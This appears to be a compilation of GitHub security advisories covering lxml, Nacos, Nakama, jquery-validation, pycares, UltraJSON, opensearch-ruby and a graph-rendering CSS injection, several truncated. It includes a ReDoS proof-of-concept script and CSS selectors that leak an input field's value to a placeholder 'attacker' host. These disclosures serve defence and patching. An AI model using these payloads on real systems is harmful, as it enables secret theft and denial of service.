ghsa

NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

An Access Control vulnerability exists in Nacos 2.0.3 in the access prompt page; enter username and password, click on login to capture packets and then change the returned package, which lets a malicious user login.

Old session tokens can be used to authenticate to the application and send authenticated requests.

Nakama Console does not enforce any limit for the number of unsuccessful login attempts.

**Summary** The issue is the same as CVE-2021-43306: An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the jquery-validation npm package, when an attacker is able to supply arbitrary input to the url2 method The fix for CVE-2021-43306, which was suggested by me ([@erik-krogh](https://github.com/erik-krogh)), was incomplete. I didn't know at the time that the fix was incomplete, but the ReDoS analysis in CodeQL has improved since then. **Details** Issue: ReDoS in url2.js (GHSL-2022-039) Below is a PoC that contains the relevant regular expression. Run following script with node and you will notice that it doesn't terminate. ```js const reg = /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-...

### Impact pycares versions < 4.2.0 are affected by [CVE-2021-3672](https://nvd.nist.gov/vuln/detail/CVE-2021-3672). ### Patches Update to version 4.2.0.

### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone parsing JSON from an untrusted source is vulnerable. JSON strings that contain escaped surrogate characters not part of a proper surrogate pair were decoded incorrectly. Besides corrupting strings, this allowed for potential key confusion and value overwriting in dictionaries. Examples: ```python # An unpaired high surrogate character is ignored. >>> ujson.loads(r'"\uD800"') '' >>> ujson.loads(r'"\uD800hello"') 'hello' # An unpaired low surrogate character is preserved. >>> ujson.loads(r'"\uDC00"') '\udc00' # A pair of surrogates with additional non surrogate characters pair up in spite of being invalid. >>> ujson.loads(r'"\uD800foo bar\uDC00"') 'foo bar𐀀' ``` ### Patches _Has the problem been patched? What versions should users upgrade to?_ Users should upgrade to UltraJSON 5.4.0. From version 5.4.0, UltraJSON decodes lone surrogates in the same way as the standard library's `json` module does, preserving...

### Impact _What kind of vulnerability is it? Who is impacted?_ When an error occurs while reallocating the buffer for string decoding, the buffer gets freed twice. Due to how UltraJSON uses the internal decoder, this double free is impossible to trigger from Python. ### Patches _Has the problem been patched? What versions should users upgrade to?_ Users should upgrade to UltraJSON 5.4.0. ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ There is no workaround. ### For more information If you have any questions or comments about this advisory: * Open an issue in [UltraJSON](http://github.com/ultrajson/ultrajson/issues)

### Impact A YAML deserialization in opensearch-ruby 2.0.0 can lead to unsafe deserialization using YAML.load if the response is of type YAML. ### Patches The problem has been patched in opensearch-ruby gem version 2.0.2. ### Workarounds No viable workaround. Please upgrade to 2.0.2 ### References https://github.com/opensearch-project/opensearch-ruby/pull/77 https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ ### For more information If you have any questions or comments about this advisory: * Open an issue in [opensearch-ruby](https://github.com/opensearch-project/opensearch-ruby)

An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. ```css input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); } ... input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); } ... input[name=secret][value^=goose] { background-image: url(http:/...